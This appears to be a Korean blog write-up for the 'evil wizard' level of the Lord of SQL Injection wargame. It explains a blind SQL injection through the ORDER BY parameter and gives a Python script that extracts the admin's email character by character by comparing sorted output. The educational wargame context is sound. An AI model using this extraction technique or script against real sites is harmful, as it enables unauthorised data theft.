728x90
이번에 처치할 몬스터는 evil wizard!
코드를 보면
이전 문제랑 코드상으로 별 다를 게 없어 보인다.
주석으로도 "마 진짜 같나? 진심이가?"라고 쓰여있는 거 보면 뭔가 다르긴 다른가보다.
그래서 테이블을 출력해 봤는데 이전문제와 다르게 id와 score 어떤 걸 기준으로 정렬해도 같은 결과가 나온다.
이번 문제는 꽤 쉬웠는데 그냥 id나 score 중 하나 기준을 정하고 오름차순 내림차순으로 차이를 주면 된다.
다들 ASC와 DESC를 들어봤을 거다 ASC가 오름차순 DESC가 내림차순이다.
?order=if(조건문,'id ASC', 'id DESC')를 써서 참일 때는 id를 기준으로 오름차순 거짓일때는 내림차순으로 테이블을 출력하면 된다.
그럼 참일때는 위에 사진처럼 출력될 테니
<tr><td>admin</td><td>**************</td><td>50</td></tr><tr><td>rubiya</td><td>rubiya805@gmail.com</td><td>100</td></tr>
형식으로 출력되는걸 조건으로 email을 찾으면 될 것이다.
import requests
url="https://los.rubiya.kr/chall/evil_wizard_32e3d35835aa4e039348712fb75169ad.php"
cookies={"PHPSESSID":"kogf8srvhks2phbp9kdndnk5ar"}
string="0123456789abcdefghijklmnopqrstuvwxyz"
pw=""
for i in range(1,100): #길이구하기
pay=f"?order=if(id='admin' and length(hex(email))={i},'id ASC','id DESC')"
res=requests.get(url+pay,cookies=cookies)
if "<tr><td>admin</td><td>**************</td><td>50</td></tr><tr><td>rubiya</td><td>rubiya805@gmail.com</td><td>100</td></tr>" in res.text:
length=i
print("length:",i)
break
print(length)
for i in range(1,length+1): #pw구하기
for j in string:
pay=f"?order=if(id=%27admin%27%20and%20substr(hex(email),{i},1)='{j}','id ASC','id DESC')"
res=requests.get(url+pay,cookies=cookies)
if "<tr><td>admin</td><td>**************</td><td>50</td></tr><tr><td>rubiya</td><td>rubiya805@gmail.com</td><td>100</td></tr>" in res.text:
pw+=j
print("pw:",pw)
break
print("password:",pw)
이것을 아스키코드로 바꾸면
따란~
다음 몬스터 잡으러 가자~!
728x90
'Web > Lord of SQL Injection' 카테고리의 다른 글
Lord of SQL Injection 26단계 (red dragon) (0) | 2023.04.22 |
---|---|
Lord of SQL Injection 25단계 (green dragon) (0) | 2023.04.14 |
Lord of SQL Injection 23단계 (hell_fire) (0) | 2023.04.11 |
Lord of SQL Injection 22단계 (dark_eyes) (0) | 2023.04.10 |
Lord of SQL Injection 21단계 (iron golem) (0) | 2023.04.05 |